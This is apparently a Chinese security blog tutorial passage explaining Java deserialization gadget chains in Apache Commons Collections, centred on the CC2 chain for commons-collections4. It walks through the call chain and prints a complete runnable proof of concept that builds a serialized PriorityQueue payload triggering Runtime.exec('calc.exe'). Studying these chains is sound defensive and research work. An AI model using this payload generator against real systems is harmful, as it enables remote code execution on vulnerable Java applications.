javassist生成字节码 在上边我们利用cc6打shiro时利用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 。
0x06 cc2 前言 由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
commons-collections4的改动 因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > </dependencies
因为⽼的Gadget中依赖的包名都是org.apache.commons.collections
,⽽新的包名已经变 了,是org.apache.commons.collections4
。 我们⽤已经熟悉的CC6
利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.*
改成 import org.apache.commons.collections4.*
。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate
这个⽅法没了:
看下decorate
的定义,⾮常简单:
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
这个⽅法不过就是LazyMap
构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap
1 2 3 4 public static <V, K> LazyMap<K, V> lazyMap (final Map<K, V> map, final Transformer<? super K, ? extends V> factory) { return new LazyMap <K,V>(map, factory); }
所以,我们将Gadget中出错的代码换⼀下名字:
1 Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
同理,之前的CC1,CC3利用链都可以在commonscollections4
中正常使用
commons-collections
之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer
。所以在commons-collections中找Gadget
的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()
⽅法到 Transformer#transform()
⽅法的调⽤链。
cc2 其中两个关键类:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue
是⼀个有⾃⼰readObject()
⽅法的类:
org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()
⽅法的函数:
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
所以CC2
实际就是⼀条从 PriorityQueue
到TransformingComparator
的利⽤链
1 2 3 4 5 6 7 8 9 10 ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
开始编写POC,⾸先,还是创建Transformer:
1 2 3 4 5 6 7 8 9 Transformer[] fakeTransformers = new Transformer []{ new ConstantTransformer (1 )}; Transformer[] transformers= new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (fakeTransformers);
再创建⼀个TransformingComparator
,传⼊我们的Transformer
1 Comparator comparator = new TransformingComparator(transformerChain);
实例化PriorityQueue
对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator
,传⼊前⾯实例化的comparator
1 2 3 PriorityQueue queue = new PriorityQueue (2 , comparator);queue.add(1 ); queue.add(2 );
后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,
1 setFieldValue(transformerChain, "iTransformers" , transformers)
完整payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class cc2 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ Transformer[] fakeTransformers = new Transformer []{ new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc.exe" } )}; Transformer chain = new ChainedTransformer (fakeTransformers); Comparator comparator = new TransformingComparator (chain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(chain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); } }
0x07 cc4、5、7 https://www.cnblogs.com/gk0d/p/16886697.html
0x08 参考 https://www.cnblogs.com/gk0d/category/2232825.html
https://govuln.com/docs/java-things/